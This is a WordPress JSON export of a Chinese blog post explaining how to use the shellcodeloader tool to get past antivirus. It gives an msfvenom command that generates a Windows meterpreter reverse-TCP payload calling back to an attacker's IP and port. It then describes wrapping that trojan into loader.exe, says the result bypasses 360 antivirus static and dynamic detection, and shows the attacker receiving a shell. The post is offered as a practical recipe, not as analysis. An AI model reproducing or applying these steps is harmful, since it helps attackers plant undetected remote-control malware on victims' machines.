{"id":991,"date":"2021-03-01T01:16:07","date_gmt":"2021-02-28T17:16:07","guid":{"rendered":"https:\/\/byy3.com\/?p=991"},"modified":"2021-03-01T01:20:41","modified_gmt":"2021-02-28T17:20:41","slug":"%e5%85%8d%e6%9d%80%e5%b7%a5%e5%85%b7shellcodeloader","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=991","title":{"rendered":"\u514d\u6740\u5de5\u5177shellcodeloader"},"content":{"rendered":"
\n
\u5de5\u5177\u5730\u5740\uff1ashellcodeloader<\/a>
\n\u4e0d\u60f3\u81ea\u5df1\u7f16\u8bd1\uff0c\u5c31\u7528\u5de5\u5177\u4f5c\u8005\u81ea\u5df1\u7f16\u8bd1\u7684\u6210\u54c1\uff0crealse<\/a><\/p>\n

MSF\u751f\u6210bin<\/code>\u6587\u4ef6:
\nmsfvenom -p windows\/x64\/meterpreter_reverse_tcp LHOST=IP LPORT=port -f raw -o 1.bin<\/code><\/p>\n

\u5c06\u751f\u6210\u597d\u7684\u6728\u9a6c 1.bin<\/code>\u62d6\u5165shellcodeloader<\/code>\u4e2d\uff0c\u5e76\u52fe\u9009\u6240\u9700\u914d\u7f6e\uff0c\u914d\u7f6e\u7684\u9009\u62e9\u539f\u9879\u76ee\u4e2d\u4ecb\u7ecd\u7684\u5f88\u6e05\u695a\uff0c\u8fd9\u91cc\u5c31\u4e0d\u8fc7\u591a\u8d58\u8ff0\u4e86\uff0c\u70b9\u51fbGenerate\u5c31\u4f1a\u751f\u6210loader.exe<\/code>\uff1a<\/p>\n

\n
\n
<\/div>\n
\"\u514d\u6740\u5de5\u5177shellcodeloader\u63d2\u56fe\"<\/div>\n<\/div>\n
<\/div>\n<\/div>\n

\u7ed5\u8fc7360\u9759\u6001\u67e5\u6740\uff1a<\/p>\n

\n
\n
<\/div>\n
\"\u514d\u6740\u5de5\u5177shellcodeloader\u63d2\u56fe1\"<\/div>\n<\/div>\n
<\/div>\n<\/div>\n

\u8fd0\u884c\u6728\u9a6c\uff0c\u7ed5\u8fc7360\u52a8\u6001\u67e5\u6740\uff1a<\/p>\n

\n
\n
<\/div>\n
\"\u514d\u6740\u5de5\u5177shellcodeloader\u63d2\u56fe2\"<\/div>\n<\/div>\n
<\/div>\n<\/div>\n

MSF\u6b63\u5e38\u63a5\u6536shell\uff1a<\/p>\n

\n
\n
<\/div>\n
\"\u514d\u6740\u5de5\u5177shellcodeloader\u63d2\u56fe3\"<\/div>\n<\/div>\n
<\/div>\n<\/div>\n

\u5927\u4f6c\u968f\u624b\u7ed9\u4e2a\u8d5e\u5457 0.0<\/p>\n

\n
\n
<\/div>\n
\"\u514d\u6740\u5de5\u5177shellcodeloader\u63d2\u56fe4\"<\/div>\n<\/div>\n
<\/div>\n<\/div>\n<\/article>\n
\n
<\/i>\u514d\u6740<\/a><\/p>\n
<\/div>\n<\/div>\n<\/div>\n<\/div>\n

 <\/p>\n","protected":false},"excerpt":{"rendered":"

\u5de5\u5177\u5730\u5740\uff1ashellcodeloader \u4e0d\u60f3\u81ea\u5df1\u7f16\u8bd1\uff0c\u5c31\u7528\u5de5\u5177\u4f5c\u8005\u81ea\u5df1\u7f16\u8bd1\u7684\u6210\u54c1\uff0crealse MSF\u751f\u6210b […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[526,525],"class_list":["post-991","post","type-post","status-publish","format-standard","hentry","category-net-security","tag-526","tag-525"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/991","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=991"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/991\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=991"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=991"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=991"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}